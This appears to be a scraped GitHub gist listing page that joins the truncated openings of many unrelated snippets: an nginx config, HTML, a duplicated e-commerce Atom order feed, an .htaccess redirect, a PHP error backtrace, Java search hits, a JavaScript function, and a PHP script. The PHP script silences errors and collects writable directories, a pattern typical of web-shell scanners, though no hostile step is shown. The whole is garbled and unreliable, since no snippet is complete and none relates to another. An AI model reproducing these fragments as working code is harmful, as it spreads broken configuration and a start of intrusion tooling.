Skip to content

Instantly share code, notes, and snippets.

@jason-fonseca
jason-fonseca / default
Created June 7, 2012 12:50
cat /etc/nginx/nginx.conf
galaxy:/usr/share/nginx/html# cat /etc/nginx/sites-enabled/default
server {
listen *:80; ## listen for ipv4; this line is default and implied
listen [::]:80 default ipv6only=on; ## listen for ipv6
root /usr/share/nginx/www;
index index.php index.html index.htm;
# Make site accessible from http://localhost/
#server_name _;
# location / {
# # First attempt to serve request as file, then
<!DOCTYPE html>
<html lang="en">
<head>
<title>Home</title>
<link rel="search" type="application/opensearchdescription+xml" href="/osd.xml" title="Site Search"/>
<link rel="stylesheet" href="/css/jquery.mobile-1.0b3.min.css?noless" />
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:ezi="http://api.ezimerchant.com/schemas/2009/">
<title>&lt;to be set&gt; - Order 7</title>
<link href="/checkout/?o=LW9WoknmbqnMOJO%2FAmld0MwHO9yLGLP3fti9sYZJ87J032UDNxkT4bAUckWxitthJiqco6W7Zuk%3D" type="application/atom+xml" rel="self"/>
<id>/checkout/?o=LW9WoknmbqnMOJO%2FAmld0MwHO9yLGLP3fti9sYZJ87J032UDNxkT4bAUckWxitthJiqco6W7Zuk%3D</id>
<updated>2009-09-24 T10:30:02Z</updated>
<author>
<name>ezimerchant by On Technology</name>
</author>
<entry>
<title>Order 7</title>
RewriteEngine on
RewriteBase /
###### Elite electronics
RewriteCond %{QUERY_STRING} ^main_page=index&manufacturers_id=18$
RewriteRule ^index\.php$ http://www.elite-electronics.com.au? [R=301,L]
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:ezi="http://api.ezimerchant.com/schemas/2009/">
<title>&lt;to be set&gt; - Order 7</title>
<link href="/checkout/?o=LW9WoknmbqnMOJO%2FAmld0MwHO9yLGLP3fti9sYZJ87J032UDNxkT4bAUckWxitthJiqco6W7Zuk%3D" type="application/atom+xml" rel="self"/>
<id>/checkout/?o=LW9WoknmbqnMOJO%2FAmld0MwHO9yLGLP3fti9sYZJ87J032UDNxkT4bAUckWxitthJiqco6W7Zuk%3D</id>
<updated>2009-09-24 T10:30:02Z</updated>
<author>
<name>ezimerchant by On Technology</name>
</author>
<entry>
<title>Order 7</title>
Code: 2
Message: Division by zero
File: /home/elements/core/system/sanscode.php
Line: 588
URI:setup
Start Backtrace:
Array
(
[0] => Array
(
H:\Downloads\squirrel-sql-3.3.0-source\squirrel-sql-source\sql12\app\src\main\java\net\sourceforge\squirrel_sql\client\session\mainpanel\objecttree\tabs\FormattedSourceTab.java (11 hits)
Line 26: import net.sourceforge.squirrel_sql.fw.codereformat.CodeReformator;
Line 26: import net.sourceforge.squirrel_sql.fw.codereformat.CodeReformator;
Line 27: import net.sourceforge.squirrel_sql.fw.codereformat.CommentSpec;
Line 28: import net.sourceforge.squirrel_sql.fw.codereformat.ICodeReformator;
Line 28: import net.sourceforge.squirrel_sql.fw.codereformat.ICodeReformator;
Line 55: private ICodeReformator formatter = null;
Line 98: formatter = new CodeReformator(stmtSep, this.commentSpecs);
Line 106: * @param codeReformator
Line 113: protected void setupFormatter(ICodeReformator codeReformator, String stmtSep, CommentSpec[] commentSpecs)
<?php
error_reporting(0);
set_time_limit(999);
$writabledirs = array();
function Find_files($dir, $pattern) {
global $writabledirs;
$arr = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
function Pathify(str)
{
if(arguments.length == 2 && arguments[1] instanceof Array)
{
var arr = arguments[1];
for(var i = 0; i < arr.length; i++)
{
if(arr[i] instanceof Array)
{
<title>Test</title>